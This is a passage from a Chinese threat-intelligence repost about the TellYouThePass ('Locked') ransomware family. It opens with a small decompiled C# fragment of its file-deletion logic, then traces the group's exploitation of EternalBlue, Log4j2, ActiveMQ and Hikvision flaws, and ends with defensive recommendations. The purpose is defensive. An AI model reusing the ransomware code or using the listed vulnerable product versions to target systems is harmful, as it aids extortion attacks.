            }
            if (flag)
            {
                if (!common.RemoveFile(inputFile))
                {
                    common.RemoveFile(outputFile);
                }
            }
            else
            {
                common.RemoveFile(outputFile);
            }
            return flag;
        }

    4.TellYouThePass家族简介
    “TellYouThePass”勒索病毒家族是一种勒索软件,最早于2019年3月出现,。由于其背后始终是由单一黑客组织运营,因此该黑客组织 也同样被称为TellYouThePass。根据现有线索推断,该组织为国内黑客团伙,其惯于在高危漏洞被披露后的短时间内利用漏洞修补的时间差,对暴露于网络上并存在有漏洞的机器发起攻击。其曾经使用过的代表性漏洞有:“永恒之蓝”系列漏洞、WebLogic应用漏洞、Log4j2漏洞、国内某OA系统漏洞、国内某财务管理系统漏洞等。而一旦攻击成功后,便会投递勒索病毒实施加密,并向被加密的文件添加后缀名为“.locked”。
    该家族在2021年发动了几轮攻击后便逐渐销声匿迹。但从2022年8月开始,该勒索家族又开始活跃在大众视野当中。
    2022年8月,该病毒家族曾利用0day漏洞对某财务管理系统发起针对性攻击,仅短短一天时间内,就感染了2000多台设备。到了2022年12 月,该病毒家族还利用多个漏洞对国内流行的财务软件发起针对性攻击。
    2023年6月初,TellYouThePass再度回归,利用某财务管理系统中存在的命令执行漏洞发起攻击发起了一波较为强势的攻击。而本轮攻击 是当年其“重出江湖”后的第二次大规模勒索攻击。
    2023年10月,该病毒家族利用CVE-2023-46604漏洞发起攻击,在windows与 Linux 设备上利用 ActiveMQ 进行加密。
    待到2023年末,海康威视的产品被曝出存在漏洞,而这又被TellYouThePass利用发起勒索攻击。此次攻击事件所涉及的漏洞均为任意文件上传漏洞。由于海康威视部分综合安防管理平台对上传文件接口校验不足,导致攻击者可以利用漏洞将恶意文件上传到平台,并最终获取服务权限或引发服务异常。相关漏洞所影响的平台产品及对应版本为:
    • iVMS-8700(V2.0.0~V2.9.2)
    • iSecure Center(V1.0.0~V1.7.0)
    海康威视官方已于2023年6月修复了相关产品漏洞,并发布相关公告对其用户进行安全提示。
    值得一提的是,自2023年起TellYouThePass便在勒索信中开始明确引导受害者去某电商平台寻找中间商完成最终的解密交易用以提高其勒索的成功率。

    本篇文章部分引用以下360网络安全响应中心文章链接:

    https://cert.360.cn/report/detail?id=65fceeb4c09f255b91b17f11

    5.安全建议

    5.1 风险消减措施

    资产梳理排查目标:根据实际情况,对内外网资产进行分时期排查

    服务方式:调研访谈、现场勘查、工具扫描

    服务关键内容:流量威胁监测系统排查、互联网暴露面扫描服务、技术加固服务、集权系统排查

    【紧急警示】Locked勒索病毒针对财务人员的钓鱼及勒索攻击激增!企业财务电脑及系统资产遭勒索加密,风险不容忽视!

    5.2 安全设备调优

    目标

    通过对安全现状的梳理和分析,识别安全策略上的不足,结合目标防御、权限最小化、缩小攻击面等一系列参考原则,对设备的相关配置策略进行改进调优,一方面,减低无效或低效规则的出现频次;另一方面,对缺失或遗漏的规则进行补充,实现将安全设备防护能力最优化。

    【紧急警示】Locked勒索病毒针对财务人员的钓鱼及勒索攻击激增!企业财务电脑及系统资产遭勒索加密,风险不容忽视!

    主要目标设备

    网络安全防护设备、系统防护软件、日志审计与分析设备、安全监测与入侵识别设备。

    5.3 全员安全意识增强调优

    目标:

    通过网络安全意识宣贯、培训提升全方位安全能力

    形式:

    培训及宣贯

    【紧急警示】Locked勒索病毒针对财务人员的钓鱼及勒索攻击激增!企业财务电脑及系统资产遭勒索加密,风险不容忽视!线下培训课表

    若无法组织线下的集体培训,考虑两种方式:

    1.提供相关的安全意识培训材料,由上而下分发学习

    2.组织相关人员线上开会学习。线上培训模式。

    原文始发于微信公众号(弱口令安全实验室):【紧急警示】Locked勒索病毒针对财务人员的钓鱼及勒索攻击激增!企业财务电脑及系统资产遭勒索加密,风险不容忽视!

    • 左青龙
    • 微信扫一扫
    • weinxin
    • 右白虎
    • 微信扫一扫
    • weinxin
    admin
    • 本文由 发表于 2024年3月27日12:59:31
    • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                     【紧急警示】Locked勒索病毒针对财务人员的钓鱼及勒索攻击激增!企业财务电脑及系统资产遭勒索加密,风险不容忽视!https://cn-sec.com/archives/2608950.html

    发表评论

    匿名网友 填写信息